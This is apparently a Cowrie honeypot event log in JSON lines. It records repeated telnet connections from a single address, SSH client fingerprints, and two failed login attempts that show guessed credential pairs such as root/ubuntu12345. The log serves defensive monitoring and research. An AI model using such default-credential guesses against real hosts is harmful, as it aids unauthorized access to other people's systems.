{"eventid":"cowrie.session.closed","duration":31.4174382686615,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.435324Z","src_ip":"198.50.122.223","session":"63539e80cda7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42076,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec1bf92aa55","protocol":"telnet","message":"New connection: 198.50.122.223:42076 (10.17.0.5:23) [session: 2ec1bf92aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.499726Z"}
{"eventid":"cowrie.session.closed","duration":31.43151831626892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.559239Z","src_ip":"198.50.122.223","session":"dfbc2d806ba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49483561515808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.641958Z","src_ip":"198.50.122.223","session":"898e86deff3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.601768016815186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:44.682402Z","src_ip":"198.50.122.223","session":"7c4fc7e50d80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488897800445557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.313643Z","src_ip":"198.50.122.223","session":"7b04056f7b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"497b233f21b9","protocol":"telnet","message":"New connection: 198.50.122.223:46394 (10.17.0.5:23) [session: 497b233f21b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.436522Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":46728,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfdf9b83f34","protocol":"telnet","message":"New connection: 198.50.122.223:46728 (10.17.0.5:23) [session: 2dfdf9b83f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.482792Z"}
{"eventid":"cowrie.session.closed","duration":31.54056739807129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.604880Z","src_ip":"198.50.122.223","session":"4d512b6ee1d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40738,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b262c867f18","protocol":"ssh","message":"New connection: 159.203.92.129:40738 (159.203.135.109:22) [session: 2b262c867f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.642849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.648248Z","src_ip":"159.203.92.129","session":"2b262c867f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.653567Z","src_ip":"159.203.92.129","session":"2b262c867f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache2","password":"password","message":"login attempt [apache2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.664718Z","src_ip":"159.203.92.129","session":"2b262c867f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49516,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41d649beaa5","protocol":"telnet","message":"New connection: 198.50.122.223:49516 (10.17.0.5:23) [session: d41d649beaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:45.976217Z"}
{"eventid":"cowrie.session.closed","duration":31.18747353553772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.336458Z","src_ip":"198.50.122.223","session":"b6fa7ff37bc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028119564056396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.358051Z","src_ip":"198.50.122.223","session":"cb433014f3d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08966565132141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.457210Z","src_ip":"198.50.122.223","session":"6c19c15be459","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.249472856521606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.478423Z","src_ip":"198.50.122.223","session":"e1cd8bffacbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.672434Z","src_ip":"159.203.92.129","session":"2b262c867f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52902,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e39365941c5","protocol":"telnet","message":"New connection: 198.50.122.223:52902 (10.17.0.5:23) [session: 8e39365941c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.727284Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":53424,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7b9aac5e14","protocol":"telnet","message":"New connection: 198.50.122.223:53424 (10.17.0.5:23) [session: 8f7b9aac5e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.807575Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54086,"dst_ip":"10.17.0.5","dst_port":23,"session":"e06dfadc8ddd","protocol":"telnet","message":"New connection: 198.50.122.223:54086 (10.17.0.5:23) [session: e06dfadc8ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:46.932499Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55444,"dst_ip":"10.17.0.5","dst_port":23,"session":"f253a5e333e7","protocol":"telnet","message":"New connection: 198.50.122.223:55444 (10.17.0.5:23) [session: f253a5e333e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.285901Z"}
{"eventid":"cowrie.session.closed","duration":30.543871879577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.333242Z","src_ip":"198.50.122.223","session":"9b29b73191ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55800,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f47a828a12","protocol":"telnet","message":"New connection: 198.50.122.223:55800 (10.17.0.5:23) [session: d4f47a828a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.389626Z"}
{"eventid":"cowrie.session.closed","duration":31.257176160812378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.438362Z","src_ip":"198.50.122.223","session":"cdddaed7294b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":33624,"dst_ip":"159.203.135.109","dst_port":22,"session":"d21ad78e95e9","protocol":"ssh","message":"New connection: 69.6.221.248:33624 (159.203.135.109:22) [session: d21ad78e95e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.529252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.533189Z","src_ip":"69.6.221.248","session":"d21ad78e95e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.498605012893677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.614846Z","src_ip":"198.50.122.223","session":"63d38a46554e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.645779Z","src_ip":"69.6.221.248","session":"d21ad78e95e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":58844,"dst_ip":"10.17.0.5","dst_port":23,"session":"52a9db0376e2","protocol":"telnet","message":"New connection: 198.50.122.223:58844 (10.17.0.5:23) [session: 52a9db0376e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:47.909381Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8367101512","protocol":"telnet","message":"New connection: 198.50.122.223:59416 (10.17.0.5:23) [session: db8367101512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.052310Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu12345","message":"login attempt [root/ubuntu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.136476Z","src_ip":"69.6.221.248","session":"d21ad78e95e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16246724128723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.306996Z","src_ip":"198.50.122.223","session":"612d15c12067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.909984827041626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.341905Z","src_ip":"198.50.122.223","session":"1a9b59fd0847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79257035255432,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.494459Z","src_ip":"198.50.122.223","session":"4cb24c43870b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.86318826675415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:48.525360Z","src_ip":"198.50.122.223","session":"57d4297c0f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.968584060668945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.159801Z","src_ip":"198.50.122.223","session":"50a91318fc79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36236,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48c6404bae6","protocol":"telnet","message":"New connection: 198.50.122.223:36236 (10.17.0.5:23) [session: f48c6404bae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.259523Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.281472Z","src_ip":"69.6.221.248","session":"d21ad78e95e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.246045351028442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.362813Z","src_ip":"198.50.122.223","session":"14ba063aef6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37342,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ca89c8bc6c","protocol":"telnet","message":"New connection: 198.50.122.223:37342 (10.17.0.5:23) [session: 22ca89c8bc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.478127Z"}
{"eventid":"cowrie.session.closed","duration":30.770636558532715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:49.649905Z","src_ip":"198.50.122.223","session":"2319dc1b16cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792948246002197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.185746Z","src_ip":"198.50.122.223","session":"a868c6c2ec26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067078351974487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.201411Z","src_ip":"198.50.122.223","session":"eb33fdc6a903","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40990,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc81664f95ea","protocol":"telnet","message":"New connection: 198.50.122.223:40990 (10.17.0.5:23) [session: dc81664f95ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.209117Z"}
{"eventid":"cowrie.session.closed","duration":30.815171480178833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.214527Z","src_ip":"198.50.122.223","session":"eb2ef2aec1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.587710857391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.239266Z","src_ip":"198.50.122.223","session":"43c95496a453","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654715061187744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.354995Z","src_ip":"198.50.122.223","session":"85aa3ae72da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876163244247437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.445430Z","src_ip":"198.50.122.223","session":"85820f893ec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119357109069824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.450410Z","src_ip":"198.50.122.223","session":"dd01aa01739d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2889506816864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.591073Z","src_ip":"198.50.122.223","session":"f186a80c9eab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287217140197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:50.610458Z","src_ip":"198.50.122.223","session":"45b733064f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921292543411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:51.117809Z","src_ip":"198.50.122.223","session":"4cb267da7a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090450763702393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:51.238154Z","src_ip":"198.50.122.223","session":"a21078404989","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36864,"dst_ip":"10.17.0.5","dst_port":23,"session":"37e42e7370b5","protocol":"telnet","message":"New connection: 198.50.122.223:36864 (10.17.0.5:23) [session: 37e42e7370b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:51.405607Z"}
{"eventid":"cowrie.session.closed","duration":30.887537479400635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:51.485860Z","src_ip":"198.50.122.223","session":"16984cd07234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56115198135376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:52.022570Z","src_ip":"198.50.122.223","session":"6c552aba0f04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839673042297363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:52.239743Z","src_ip":"198.50.122.223","session":"9661de10d250","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021066665649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:52.757499Z","src_ip":"198.50.122.223","session":"5917e3034693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710338830947876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:53.451682Z","src_ip":"198.50.122.223","session":"fa8369838a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.577401876449585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:53.457866Z","src_ip":"198.50.122.223","session":"261ae8e11fc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25919246673584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:53.592044Z","src_ip":"198.50.122.223","session":"88d78eb556a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.094297409057617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:53.632243Z","src_ip":"198.50.122.223","session":"396a866ffc9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76640248298645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:53.699954Z","src_ip":"198.50.122.223","session":"6fa687e0f3f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59538,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3898f9a654","protocol":"telnet","message":"New connection: 198.50.122.223:59538 (10.17.0.5:23) [session: df3898f9a654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.044529Z"}
{"eventid":"cowrie.session.closed","duration":30.869327783584595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.300076Z","src_ip":"198.50.122.223","session":"03ac2ab6b1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60466170310974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.372227Z","src_ip":"198.50.122.223","session":"702ac67620da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.257166624069214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.461976Z","src_ip":"198.50.122.223","session":"859696ffb549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.384079933166504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.467385Z","src_ip":"198.50.122.223","session":"f4a0180ec30e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791797161102295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.489218Z","src_ip":"198.50.122.223","session":"794f0c9e47b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33792,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d2860260e6","protocol":"telnet","message":"New connection: 198.50.122.223:33792 (10.17.0.5:23) [session: 90d2860260e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.560741Z"}
{"eventid":"cowrie.session.closed","duration":30.963221311569214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.592126Z","src_ip":"198.50.122.223","session":"1e6ac663ae7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35172,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c42d5fd315","protocol":"telnet","message":"New connection: 198.50.122.223:35172 (10.17.0.5:23) [session: c0c42d5fd315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:24:54.825823Z"}
